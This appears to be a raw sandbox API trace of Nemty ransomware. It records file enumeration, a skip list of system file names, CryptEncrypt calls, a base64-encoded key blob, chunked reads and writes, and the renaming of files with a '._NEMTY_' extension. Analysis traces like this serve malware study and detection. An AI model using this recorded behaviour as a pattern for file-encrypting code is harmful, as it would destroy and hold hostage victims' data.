[0097.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0097.729] CloseHandle (hObject=0xffffffff) returned 0 [0097.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f942c8 [0097.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0097.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0097.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94330 [0097.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.730] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml._nemty_kgobjgd_")) returned 0 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0097.730] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2=".") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="..") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="...") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="windows") returned -1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="$RECYCLE.BIN") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="rsa") returned -1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="NTDETECT.COM") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="ntldr") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="MSDOS.SYS") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="IO.SYS") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="boot.ini") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="boot.ini") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="AUTOEXEC.BAT") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="ntuser.dat") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="desktop.ini") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="CONFIG.SYS") returned 1 [0097.730] lstrcmpiW (lpString1="Parity.fx", lpString2="RECYCLER") returned -1 [0097.731] lstrcmpiW (lpString1="Parity.fx", lpString2="BOOTSECT.BAK") returned 1 [0097.731] lstrcmpiW (lpString1="Parity.fx", lpString2="bootmgr") returned 1 [0097.731] lstrcmpiW (lpString1="Parity.fx", lpString2="programdata") returned -1 [0097.731] lstrcmpiW (lpString1="Parity.fx", lpString2="appdata") returned 1 [0097.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0097.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Parity.fx", lpUsedDefaultChar=0x0) returned 9 [0097.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0097.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Parity.fx", lpUsedDefaultChar=0x0) returned 9 [0097.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0097.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Parity.fx", lpUsedDefaultChar=0x0) returned 9 [0097.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0097.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Parity.fx", lpUsedDefaultChar=0x0) returned 9 [0097.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0097.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0097.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0097.731] Sleep (dwMilliseconds=0x5) [0097.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xede64b10, dwHighDateTime=0x1d561e7)) [0097.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xede64b10, dwHighDateTime=0x1d561e7)) [0097.732] GetLastError () returned 0x5 [0097.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.732] GetLastError () returned 0x5 [0097.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.732] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0097.732] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0097.732] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0097.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94158 [0097.732] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94158, pcchString=0x653ef9c | out: pszString="mq10pD4w7QDuMedhBUQ+YbQwl+zK9VgxBe494GwVxbarSFGJiPVyvF7iUlq11/Z8\r\nKrHjkYeQv3bc9tWWh5d7KYZaQ78CRFOj8lMiyaWZ6i9TCQnyPSPDIpFF9RbGXC6m\r\nf8SjsECrYYJTse6jLNjTAdM1eSpr0P4YsnYgE3eMxLVXSmyjfokcw+iqcQIeRGIr\r\n+08YhE0yavpnTHzT1hWmY25/dKH1j4sdxkaI0oZy0YiTPR/f6qgNQfTdoQATVSzI\r\n8lFqZP0hbEhu/eV5H/k/7xVMsPxPxoXmUpzmzuB7UWI0hsXa9BJvbF9fSAE0m2jv\r\n2q8iprlr91dWNJhXjICq0w==\r\n", pcchString=0x653ef9c) returned 1 [0097.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0097.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0097.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0097.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94158 [0097.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0097.732] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.733] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0097.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0097.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.793] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.793] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.803] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, 